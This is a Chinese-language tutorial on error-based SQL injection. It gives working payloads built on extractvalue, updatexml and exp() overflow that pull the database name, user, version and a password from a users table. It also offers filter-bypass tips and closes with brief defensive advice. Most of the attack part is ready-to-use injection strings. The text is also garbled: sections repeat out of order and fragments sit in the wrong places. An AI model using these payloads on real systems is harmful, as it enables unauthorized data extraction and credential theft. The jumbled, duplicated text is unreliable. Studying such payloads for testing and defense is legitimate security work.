SQL错误注入攻防实战
错误注入技术概述
错误注入（Error-based SQL Injection）是一种利用数据库报错信息泄露敏感数据的技术。通过构造特定SQL语句触发数据库错误，使错误信息中包含查询结果（如版本、表名、数据等）。常用于存在长度限制或过滤的场景。
常见错误注入函数及用法
extractvalue 函数
语法：extractvalue(XML_document, XPath_string)
通过XPath语法错误触发报错，返回目标数据：
?id=1 and extractvalue(1, concat(0x5c, (select database()), 0x5c))0x5c是反斜杠（\）的十六进制，用于强制XPath格式错误。- 报错信息会返回
XPATH syntax error: '\database_name\'。
updatexml 函数
语法：updatexml(XML_document, XPath_string, new_value)
通过XPath错误泄露数据（修正原笔误updatemxl）：
?id=1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)0x7e是波浪号（~）的十六进制，用于触发XPath错误。- 报错信息返回
XPATH syntax error: '~username@hostname~'。
绕过过滤的替代方法
若updatexml被禁用，可尝试以下函数：
?id=1 or exp(~(select * from (select version())a))- 利用
exp()函数溢出错误，返回类似DOUBLE value is out of range的报错信息。
输入框需用or连接的情况
当注入点位于非数值型字段（如字符串），需用or确保语句执行：
username=' or updatexml(1, concat(0x7e,(select password from users limit 1)),1) or '注意事项
- 长度限制：报错信息可能有长度截断，可通过
substring()分次提取数据。?id=1 and updatexml(1, concat(0x7e, substring((select @@version),1,20)), 1) - 过滤绕过：若关键字被过滤，可尝试大小写混淆、十六进制编码或注释符分割。
- 权限限制：确保当前数据库用户有权限访问目标表。
防御建议
updatexml 函数
语法：updatexml(XML_document, XPath_string, new_value)
通过XPath错误泄露数据（修正原笔误updatemxl）：
?id=1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)绕过过滤的替代方法
若updatexml被禁用，可尝试以下函数：
?id=1 or exp(~(select * from (select version())a))输入框需用or连接的情况
当注入点位于非数值型字段（如字符串），需用or确保语句执行：
username=' or updatexml(1, concat(0x7e,(select password from users limit 1)),1) or '注意事项
防御建议
- 使用参数化查询或预编译语句。
- 过滤特殊字符（如
'、"、\）。 - 关闭数据库详细错误回显。
错误注入技术概述
错误注入（Error-based SQL Injection）是一种利用数据库报错信息泄露敏感数据的技术。通过构造特定SQL语句触发数据库错误，使错误信息中包含查询结果（如版本、表名、数据等）。常用于存在长度限制或过滤的场景。
常见错误注入函数及用法
extractvalue 函数
语法：
extractvalue(XML_document, XPath_string)
通过XPath语法错误触发报错，返回目标数据：?id=1 and extractvalue(1, concat(0x5c, (select database()), 0x5c)) 0x5c是反斜杠（\）的十六进制，用于强制XPath格式错误。- 报错信息会返回
XPATH syntax error: '\database_name\'。 0x7e是波浪号（~）的十六进制，用于触发XPath错误。- 报错信息返回
XPATH syntax error: '~username@hostname~'。 - 利用
exp()函数溢出错误，返回类似DOUBLE value is out of range的报错信息。 - 长度限制：报错信息可能有长度截断，可通过
substring()分次提取数据。?id=1 and updatexml(1, concat(0x7e, substring((select @@version),1,20)), 1) - 过滤绕过：若关键字被过滤，可尝试大小写混淆、十六进制编码或注释符分割。
- 权限限制：确保当前数据库用户有权限访问目标表。
- 使用参数化查询或预编译语句。
- 过滤特殊字符（如
'、"、\）。 - 关闭数据库详细错误回显。